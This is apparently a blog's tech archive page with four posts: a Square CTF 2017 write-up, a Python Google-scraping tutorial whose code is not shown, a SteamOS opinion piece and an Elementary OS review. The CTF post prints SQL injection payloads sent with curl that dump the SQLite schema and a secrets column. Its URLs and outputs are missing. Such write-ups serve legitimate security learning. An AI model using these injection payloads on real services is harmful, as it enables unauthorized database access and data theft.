Archive for the ‘Tech’ Category

Write-up: Little Doggy Tables, Square CTF 2017

This is a write-up for the challenge Little Doggy Tables from Square CTF 2017.

The challenge can be found here:

The challenge requires us to use SQL injection to extract the flag from a table in the database.

On running this command:

curl -k "" --get --data-urlencode "codename=Fido"

I got the following output:


Which means I can run SQL queries through this command.

Furthermore, the challenge details also include the source code , which looks like this:

From checking out the source code it is obvious that SQL injection is possible and that SQLite3 was used in the database.

To check if it was working, I ran:

curl -k "" --get --data-urlencode "codename='"

Which gave this Output:

Internal Server Error

unrecognized token: “‘\”;”

WEBrick/1.3.1 (Ruby/2.3.4/2017-03-30) at

Now that I knew SQL injection was working, I had to access the meta data. Unfortunately, the information_schema table does not exist here since it is SQLite and not MySQL. I searched for an equivalent table in SQLite and came across this question on Stack Overflow:

Which gave me enough to realize that sqlite_master is the information_schema alternative in sqlite. I changed commands mentioned in the answer to the to suit my search.

All meta data in sqlite can be accessed simple by using the command:

select sql form sqlite_master

So I modified my payload to:

curl -k "" --get --data-urlencode "codename=' union select sql from sqlite_master-- -"

Which gave the output:

CREATE TABLE operatives (
codename TEXT,
species TEXT,
secret TEXT

Now we know both the name of the table and the name of the required column which is  obviously secret. The SQL query now required to be executed is:

select group_concat(secret) from operatives

The corresponding payload would be:

curl -k "" --get --data-urlencode "codename=' union select group_concat(secret) from operatives-- -"

The resulting output:


On refining the above output we get that the flag is :



Google Search Scraping With Python

Python is a language that allows you to do great things with very little code, it has a great set of powerful libraries and packages. I hope to illustrate this here by demonstrating how you can scrape results off a google search using a very simple and short python script. Older versions of such scripts were dependent on the ajax google api which no longer work, this is an alternative approach.

The way this piece of code works is by using the two modules ‘urllib’ and ‘requests’. These two modules are at the centre of this piece of code. The ‘get’ function of the ‘requests’ module is what allows you to access the specified url and the ‘urllib’ module allows you to read the urls on the page and store/output them.

For this code to work, you will also need the lxml library and the CSSselect python package. These are needed to process the formatting of the results page. lxml does not need any installation and is widely used in python scripts. You can download their package, and read their documentation here:

Now for CSSselect, you might get this error if the package is not installed on your system:

To fix this you might want to download the CSSselect package, which you can do from here:

To install this package run this command from the directory where the downloaded .whl file is located:

After doing so, you can run the script and/or use it in your own programs to scape off google search results. Have fun!

SteamOS – Bringing Gaming and a ‘Lot of Others’ to Linux

Video Games – The Reason why I haven’t completely switched to Linux yet. I mean it seriously, as an exclusive PC gamer and a full-time user. I know what Linux systems are capable of and what they are not for this matter.

With SteamOS, Valve might just revolutionize the PC gaming industry all over again and this time it just might not be in favor of the dominating Windows system after all.


SteamOS as some might know it, is a Linux Based Operating system for the hardcore gamers out there, and   . . . . . . . . . . . . .   that is pretty much what it is. I know it does not sound all too impressive at the moment and quite frankly the initial results are not compelling enough to make someone switch to the new ‘beta‘ system.

But what really matters here, is the potential this thing holds for the PC gaming crowd, I really hope that all other PC gamers like me have had a chance to try out Linux and once you do I sure most would have been overwhelmed at the staggering amount of features and control thrown at you, yet disappointed once you realise that Linux Systems can’t play your games properly (Don’t mention WINE in the comments, I’ve tried it doesn’t work)

SteamOS brings promise, I do not know how this is going to work out, if there’s going to be a ‘package’  or some completely different version of a specific distribution, but a revolution is coming and you will soon be able to play “games for windows” on your preferred Linux distribution. The reason how this is going to make a big difference is by finally giving open-source software some respect for the great work that can be done using it and appreciating the people make them.

For some of you who are thinking how the gamers are going to create a market shift from Windows to Linux, know this – “We are not short in number” If you play games then you are a gamer, and I know that the reason why some of you haven’t yet switched to Linux is because of those few games you would like to play once in a while.

Let’s just hope this works out and we can finally get rid of that pesky and annoying dual-boot screen.

The Elementary OS Experience

The elementary OS is an Ubuntu  based operating system that literally caught my eye by its look and name, and as you might expect, I had mistaken it for being some kind of a ‘beta release’ for the Mac OS.

Looking more into it, I was surprised to find that it was actually a free, open-source, Linux-operating system. Plus as it turns out, it was based off of Ubuntu but looked and felt different because of its completely new desktop environment ‘Pantheon’, which as a matter of fact, seems greatly inspired and influenced by the sleek, beautiful and accessible design by the innovators at Apple. This desktop environment though is not based off of that of Ubuntu’s – ‘unity’ or any other conventional ones. This desktop environment was built from scratch – from ground up – to fulfil the team’s inspiration and ambition and they have done a hell of a good job.

Usage And Stability

Again, two things make elementary OS stand out, the mac-like looks of ‘pantheon’ and the borrowed stability and tool-set of Ubuntu.

If you were ever interested in Linux, then you have most probably heard of Ubuntu as being the world’s third most popular operating system and eOS being based off of it obviously has pros of its own. Being  very popular, the Ubuntu app-store has a wide array of applications that would fulfil all your needs.

Screenshot from 2015-03-28 19:14:01

It not only borrows apps from Ubuntu, but also stability and portability for systems of different configurations. Something that you may desperately need if you want a well optimized Personal Computer for work or even for play(hint- hint: SteamOS).

Look and Feel

I have never actually used a lot of Apple devices but I must admit though, that their looks do make me more inclined towards their products. The elegance, the simplicity and the maintained glamour with fluid animations mark their signature all over their devices.

Elementary OS does borrow all these elements with due respect to Apple – in their best and original form. They did not even try to make it look like their design and that is a good thing because unnecessary modifications would have completely spoiled the minimalistic essence in such form of design.

One other important thing to note is that eOS has a transparent terminal, now that should sell it!


Check out their official site and download the latest version.

As of now the latest version is eOS “Luna”, and the next one eOS “Freya” is still in development.

Luna is in a lot of terms outdated, yet it has this small and great details to it that attract me more than the features of th e latest Ubuntu or Linux Mint.


Freya, the next version is expected to be released soon and I am more hyped for it than anyone else. It has been claimed to being fast, more stylistic and awesome!

Screenshot from 2015-04-04 13:28:25

If you too cannot control your excitement, you can download the early beta here;

Final Thoughts

I know that this article has been in many ways, less informative or critical and sounds at times more like an advertisement for eOS.

This is how eOS has influenced me, I am inclined to write and article in praise of it because it is so cool yet so little people use or know about it.

I mean it seriously, eOS has made the world of Linux – more user friendly, more beautiful and yet maintained its true power by giving its user what he or she needs the most – control. eOS clearly deserves more praise and I hope that it gets it soon.

To ‘the elementary OS team’ –

  You guys are awesome!